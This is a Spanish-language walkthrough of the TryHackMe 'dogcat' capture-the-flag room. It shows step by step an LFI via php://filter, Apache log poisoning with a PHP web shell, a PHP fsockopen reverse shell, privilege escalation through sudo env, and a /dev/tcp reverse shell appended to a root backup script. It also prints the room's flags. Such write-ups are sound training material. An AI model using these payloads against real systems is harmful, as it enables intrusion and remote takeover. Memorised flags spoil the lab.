---
# System prepended metadata

title: THM - DogCat
tags: [tryhackme, ctf]

---

## Escanedo de puertos

~~~shell
sudo nmap -p- --open --min-rate 3500 -Pn -n $IP -oG open-port
~~~

~~~shell
cat open-port | grep -oP '\d{1,5}/open' | cut -d / -f1 | xargs | tr ' ' ',' | xclip -sel clip
~~~

~~~shell
#Misma utilidad pero para utilizarlo en forma de comando
extractPorts () {
	ports="$(cat $1 | grep -oP '\d{1,5}/open' | awk '{print $1}' FS='/' | xargs | tr ' ' ',')" 
	ip_address="$(cat $1 | grep -oP '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' | sort -u | head -n 1)" 
	echo -e "\n[*] Extracting information...\n" > extractPorts.tmp
	echo -e "\t[*] IP Address: $ip_address" >> extractPorts.tmp
	echo -e "\t[*] Open ports: $ports\n" >> extractPorts.tmp
	echo $ports | tr -d '\n' | xclip -sel clip
	echo -e "[*] Ports copied to clipboard\n" >> extractPorts.tmp
	bat extractPorts.tmp  #Requiere tener instalada la herramienta bat
	rm extractPorts.tmp
}
~~~


~~~shell
nmap -sCV -p22,80 $IP -oN version-port
~~~


~~~shell
$ whatweb $IP
http://10.10.168.218 [200 OK] Apache[2.4.38], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[10.10.168.218], PHP[7.4.3], Title[dogcat], X-Powered-By[PHP/7.4.3]
~~~

~~~shell
cd /usr/share/wordlist/
wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/directory-list-2.3-medium.txt
gobuster dir -u htttp://$IP -w /usr/share/wordlist/directory-list-2.3-medium.txt
~~~
<https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/directory-list-2.3-medium.txt>

~~~shell
$ curl http://10.10.168.218 
<!DOCTYPE HTML>
<html>

<head>
    <title>dogcat</title>
    <link rel="stylesheet" type="text/css" href="/style.css">
</head>

<body>
    <h1>dogcat</h1>
    <i>a gallery of various dogs or cats</i>

    <div>
        <h2>What would you like to see?</h2>
        <a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
            </div>
</body>

</html>
~~~

~~~shell
$ curl http://$IP/?view=cat
<!DOCTYPE HTML>
<html>

<head>
    <title>dogcat</title>
    <link rel="stylesheet" type="text/css" href="/style.css">
</head>

<body>
    <h1>dogcat</h1>
    <i>a gallery of various dogs or cats</i>

    <div>
        <h2>What would you like to see?</h2>
        <a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
        Here you go!<img src="cats/6.jpg" />
    </div>
</body>

</html>
~~~

~~~shell

~~~

<https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-phpfilter>

~~~shell
$ curl http://example.com/index.php?page=php://filter/convert.base64-encode/resource=dogs/../index.php
~~~

~~~shell
nano index
~~~

~~~shell
cat index | base64 -d | sponge index
~~~

~~~shell
ffuf -u http://$IP/FUZZ.php -w /usr/share/wordlist/directory-list-2.3-medium.txt -ic
~~~

Wrapper 
~~~shell
curl "http://$IP/?view=php://filter/convert.base64-encode/resource=dogs/../flag"
~~~

~~~shell
echo "PD9waHAKJGZsYWdfMSA9ICJUSE17VGgxc18xc19OMHRfNF9DYXRkb2dfYWI2N2VkZmF9Igo/Pgo=" | base64 -d
<?php
$flag_1 = "THM{Th1s_1s_N0t_4_Catdog_ab67edfa}"
?>
~~~

~~~shell
$ curl "http://$IP/?view=dog/../../../../var/log/apache2/access.log&ext="
<!DOCTYPE HTML>
<html>

<head>
    <title>dogcat</title>
    <link rel="stylesheet" type="text/css" href="/style.css">
</head>

<body>
    <h1>dogcat</h1>
    <i>a gallery of various dogs or cats</i>

    <div>
        <h2>What would you like to see?</h2>
        <a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
        Here you go!127.0.0.1 - - [06/Jul/2023:02:46:00 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
...
127.0.0.1 - - [06/Jul/2023:03:17:47 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
10.18.41.138 - - [06/Jul/2023:03:17:53 +0000] "GET /?view=php://filter/convert.base64-encode/resource=dogs/../flag HTTP/1.1" 200 703 "-" "curl/7.68.0"
127.0.0.1 - - [06/Jul/2023:03:18:18 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
127.0.0.1 - - [06/Jul/2023:03:18:48 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
127.0.0.1 - - [06/Jul/2023:03:19:18 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
10.18.41.138 - - [06/Jul/2023:03:19:32 +0000] "GET /?view=dog/../../../../var/log/apache2/access.log HTTP/1.1" 200 1024 "-" "curl/7.68.0"
127.0.0.1 - - [06/Jul/2023:03:19:49 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
    </div>
</body>

</html>
~~~

~~~shell
 curl http://$IP -H "User-Agent:"
~~~

~~~shell
$ curl "http://$IP/?view=dog/../../../../var/log/apache2/access.log&ext="
...
127.0.0.1 - - [06/Jul/2023:03:31:25 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
127.0.0.1 - - [06/Jul/2023:03:31:55 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
127.0.0.1 - - [06/Jul/2023:03:32:26 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
10.18.41.138 - - [06/Jul/2023:03:32:36 +0000] "GET / HTTP/1.1" 200 615 "-" "-"
    </div>
</body>

</html>
~~~

Log poisoning

~~~shell
curl http://$IP --user-agent "<?php system(\$_GET['cmd']);?>"
~~~

~~~shell
curl "http://$IP/?view=dog/../../../../var/log/apache2/access.log&ext=" --user-agent "<?php system($_GET['cmd']);?>"
...
127.0.0.1 - - [06/Jul/2023:04:07:13 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
127.0.0.1 - - [06/Jul/2023:04:07:44 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
10.18.41.138 - - [06/Jul/2023:04:07:44 +0000] "GET / HTTP/1.1" 200 615 "-" "cat.php
cats
dog.php
dogs
flag.php
index.php
style.css
"
10.18.41.138 - - [06/Jul/2023:04:07:49 +0000] "GET /?view=dog/../../../../var/log/apache2/access.log&ext= HTTP/1.1" 200 25063 "-" "-"
    </div>
</body>
~~~

## Shell reversa con php
<https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet>

~~~shell
sudo netcat -nlvp 443
~~~

~~~shell
$ ip a | grep tun0
7833: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 100
    inet 10.18.41.138/17 brd 10.18.127.255 scope global tun0
~~~

~~~shell
IP2=10.18.41.138
~~~


~~~shell
curl http://10.10.121.133/?view=dog/../../../../var/log/apache2/access.log&ext=&cmd=php -r '$sock=fsockopen("10.18.41.138",443);exec("/bin/sh -i <&3 >&3 2>&3");'
~~~

~~~shell
curl $'http://10.10.121.133/?view=dog/../../../../var/log/apache2/access.log&ext=&cmd=php+-r+\'$sock%3dfsockopen(\"10.18.41.138\",443)%3bexec(\"/bin/sh+-i+<%263+>%263+2>%263\")%3b\''
~~~


~~~shell
$ sudo netcat -nlvp 443
[sudo] password for fredy: 
Listening on 0.0.0.0 443
Connection received on 10.10.121.133 54768
/bin/sh: 0: can't access tty; job control turned off
$ tty
not a tty
$ 
~~~

## Convertir a tty
Utilizamos `script /dev/null -c bash`

El comando `script /dev/null -c bash` se utiliza para iniciar una nueva sesión de shell interactiva de Bash y redirigir tanto la entrada como la salida a /dev/null, lo que significa que no se muestra ningún resultado en la pantalla ni se guarda en ningún archivo.

La utilidad script registra una sesión de terminal, capturando todo lo que se muestra en la pantalla y guardándolo en un archivo de registro. Sin embargo, al especificar /dev/null como archivo de registro, se descarta toda la salida.

~~~shell
sudo netcat -nlvp 443
[sudo] password for fredy: 
Listening on 0.0.0.0 443
Connection received on 10.10.121.133 54768
/bin/sh: 0: can't access tty; job control turned off
$ tty
not a tty
$ script /dev/null -c bash
Script started, file is /dev/null
www-data@c11e11b1ef6e:/var/www/html$ tty
tty
/dev/pts/0
www-data@c11e11b1ef6e:/var/www/html$
~~~

Mandamos a segundo plano con `ctrl+z` y luego ingresamos `stty raw -echo`. 

*   `stty raw -echo`: El comando `stty` se utiliza para cambiar o mostrar la configuración de terminal. En este caso, `raw` configura la terminal en modo "crudo" o "raw", lo que significa que los caracteres se manejarán individualmente sin realizar ningún procesamiento especial. `-echo` desactiva la eco de los caracteres ingresados, lo que evita que se muestren en la pantalla.

~~~shell
stty raw -echo; fg
~~~

Notemos que ingresamo el comando `fg` directamente en la misma línea porque no vamos a ver el STDIN en pantalla

~~~shell
            reset xterm
www-data@c11e11b1ef6e:/var/www/html$             
~~~

## Configurar nuestra nueva terminal
~~~shell
uqbar@un$ stty size
34 130
~~~

~~~shell
www-data@c11e11b1ef6e:/var/www/html$  stty rows 34 columns 130
~~~

## Exploracion

¿Estamos un host virtual?

~~~shell
www-data@c11e11b1ef6e:/var/www$ uname -a
Linux c11e11b1ef6e 4.15.0-96-generic #97-Ubuntu SMP Wed Apr 1 03:25:46 UTC 2020 x86_64 GNU/Linux
~~~

El archivo `/proc/net/fib_trie` es...

~~~shell
www-data@c11e11b1ef6e:/var/www$ cat /proc/net/fib_trie | grep -i "host local" -C 1
              /32 link BROADCAST
              /8 host LOCAL
           |-- 127.0.0.1
              /32 host LOCAL
        |-- 127.255.255.255
--
           |-- 172.17.0.2
              /32 host LOCAL
        |-- 172.17.255.255
--
              /32 link BROADCAST
              /8 host LOCAL
           |-- 127.0.0.1
              /32 host LOCAL
        |-- 127.255.255.255
--
           |-- 172.17.0.2
              /32 host LOCAL
        |-- 172.17.255.255
~~~

~~~shell
www-data@c11e11b1ef6e:/var/www$ ls -al /
total 80
drwxr-xr-x   1 root root 4096 Jul  6 02:44 .
drwxr-xr-x   1 root root 4096 Jul  6 02:44 ..
-rwxr-xr-x   1 root root    0 Jul  6 02:44 .dockerenv
drwxr-xr-x   1 root root 4096 Feb 26  2020 bin
drwxr-xr-x   2 root root 4096 Feb  1  2020 boot
drwxr-xr-x   5 root root  340 Jul  6 02:45 dev
drwxr-xr-x   1 root root 4096 Jul  6 02:44 etc
drwxr-xr-x   2 root root 4096 Feb  1  2020 home
drwxr-xr-x   1 root root 4096 Feb 26  2020 lib
drwxr-xr-x   2 root root 4096 Feb 24  2020 lib64
drwxr-xr-x   2 root root 4096 Feb 24  2020 media
drwxr-xr-x   2 root root 4096 Feb 24  2020 mnt
drwxr-xr-x   1 root root 4096 Jul  6 02:45 opt
dr-xr-xr-x 111 root root    0 Jul  6 02:45 proc
drwx------   1 root root 4096 Mar 10  2020 root
drwxr-xr-x   1 root root 4096 Feb 26  2020 run
drwxr-xr-x   1 root root 4096 Feb 26  2020 sbin
drwxr-xr-x   2 root root 4096 Feb 24  2020 srv
dr-xr-xr-x  13 root root    0 Jul  6 02:45 sys
drwxrwxrwt   1 root root 4096 Mar 10  2020 tmp
drwxr-xr-x   1 root root 4096 Feb 24  2020 usr
drwxr-xr-x   1 root root 4096 Feb 26  2020 var
~~~

Notemos que existe `.dockerenv`

~~~shell
www-data@c11e11b1ef6e:/var/www$ ls -al /opt
total 12
drwxr-xr-x 1 root root 4096 Jul  6 02:45 .
drwxr-xr-x 1 root root 4096 Jul  6 02:44 ..
drwxr-xr-x 2 root root 4096 Apr  8  2020 backups
~~~
~~~shell
www-data@c11e11b1ef6e:/var/www$ ls -al /opt/backups/
total 2892
drwxr-xr-x 2 root root    4096 Apr  8  2020 .
drwxr-xr-x 1 root root    4096 Jul  6 02:45 ..
-rwxr--r-- 1 root root      69 Mar 10  2020 backup.sh
-rw-r--r-- 1 root root 2949120 Jul  6 06:06 backup.tar
~~~

Puertos y conexiones
~~~shell
root@c11e11b1ef6e:/var/www# cat /proc/net/tcp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 25020 1 0000000000000000 100 0 0 10 0                     
   1: 0100007F:C550 0100007F:0050 06 00000000:00000000 03:00000DE6 00000000     0        0 0 3 0000000000000000                                      
   2: 020011AC:0050 8A29120A:C8FE 01 00000000:00000000 02:0004AA44 00000000    33        0 51490 2 0000000000000000 51 4 1 10 8                      
   3: 020011AC:D5F0 8A29120A:01BB 01 00000000:00000000 00:00000000 00000000    33        0 51923 2 0000000000000000 39 4 33 4 4                      
   4: 0100007F:C54E 0100007F:0050 06 00000000:00000000 03:00000214 00000000     0        0 0 3 0000000000000000  
~~~

## Escalación de privilegios

~~~shell
www-data@c11e11b1ef6e:/var/www$ sudo -l
Matching Defaults entries for www-data on c11e11b1ef6e:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on c11e11b1ef6e:
    (root) NOPASSWD: /usr/bin/env
~~~
Notemos que podemos ejectuar `env` como root.

![](https://hackmd.io/_uploads/HyQC50mF2.png)

![](https://hackmd.io/_uploads/SyxzsAXKh.png)

~~~shell
www-data@c11e11b1ef6e:/var/www$ sudo env /bin/sh
# bash
root@c11e11b1ef6e:/var/www# ls ~
flag3.txt
root@c11e11b1ef6e:/var/www# cat ~/flag3.txt
THM{D1ff3r3nt_3nv1ronments_874112}
~~~



## Linux process snooping con pspy
<https://github.com/DominicBreuker/pspy>
~~~shell
root@c11e11b1ef6e:/var/www# ./pspy
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
 
 
     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     
 
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2023/07/06 06:33:06 CMD: UID=0     PID=2332   | ./pspy 
2023/07/06 06:33:06 CMD: UID=0     PID=2035   | bash 
2023/07/06 06:33:06 CMD: UID=0     PID=2027   | /bin/sh 
2023/07/06 06:33:06 CMD: UID=0     PID=2026   | sudo env /bin/sh 
2023/07/06 06:33:06 CMD: UID=33    PID=1520   | bash 
2023/07/06 06:33:06 CMD: UID=33    PID=1519   | sh -c bash 
2023/07/06 06:33:06 CMD: UID=33    PID=1518   | script /dev/null -c bash 
2023/07/06 06:33:06 CMD: UID=33    PID=820    | /bin/sh -i 
2023/07/06 06:33:06 CMD: UID=33    PID=819    | sh -c /bin/sh -i <&3 >&3 2>&3 
2023/07/06 06:33:06 CMD: UID=33    PID=812    | php -r $sock=fsockopen("10.18.41.149",443);exec("/bin/sh -i <&3 >&3 2>&3"); 
2023/07/06 06:33:06 CMD: UID=33    PID=811    | sh -c php -r '$sock=fsockopen("10.18.41.149",443);exec("/bin/sh -i <&3 >&3 2>&3");' 
2023/07/06 06:33:06 CMD: UID=33    PID=29     | apache2 -DFOREGROUND 
2023/07/06 06:33:06 CMD: UID=33    PID=28     | apache2 -DFOREGROUND 
2023/07/06 06:33:06 CMD: UID=33    PID=27     | apache2 -DFOREGROUND 
2023/07/06 06:33:06 CMD: UID=33    PID=21     | apache2 -DFOREGROUND 
2023/07/06 06:33:06 CMD: UID=33    PID=20     | apache2 -DFOREGROUND 
2023/07/06 06:33:06 CMD: UID=33    PID=19     | apache2 -DFOREGROUND 
2023/07/06 06:33:06 CMD: UID=33    PID=18     | apache2 -DFOREGROUND 
2023/07/06 06:33:06 CMD: UID=33    PID=17     | apache2 -DFOREGROUND 
2023/07/06 06:33:06 CMD: UID=0     PID=1      | apache2 -DFOREGROUND 
2023/07/06 06:33:36 CMD: UID=0     PID=2345   | runc init 
2023/07/06 06:33:36 CMD: UID=0     PID=2350   | /bin/sh -c curl --silent --fail http://127.0.0.1:80/ 
~~~

## Recordemos `/opt/backups/backup.sh`
~~~shell
root@c11e11b1ef6e:/var/www# cd /opt/backups/
root@c11e11b1ef6e:/opt/backups# cat backup.sh
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container
~~~

~~~shell
uqbar@un$ sudo netcat -nlvp 443
[sudo] password for fredy: 
Listening on 0.0.0.0 443
~~~

~~~shell
root@c11e11b1ef6e:/opt/backups# echo "bash -i >& /dev/tcp/10.18.41.138/443 0>&1" >> backup.sh
root@c11e11b1ef6e:/opt/backups# cat backup.sh
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container
bash -i >& /dev/tcp/10.18.41.138/443 0>&1
~~~

~~~shell
sudo netcat -nlvp 443
Connection received on 10.10.121.133 51062
bash: cannot set terminal process group (28790): Inappropriate ioctl for device
bash: no job control in this shell
root@dogcat:~# ls
container
flag4.txt
root@dogcat:~# cat flag4.txt
THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}
~~~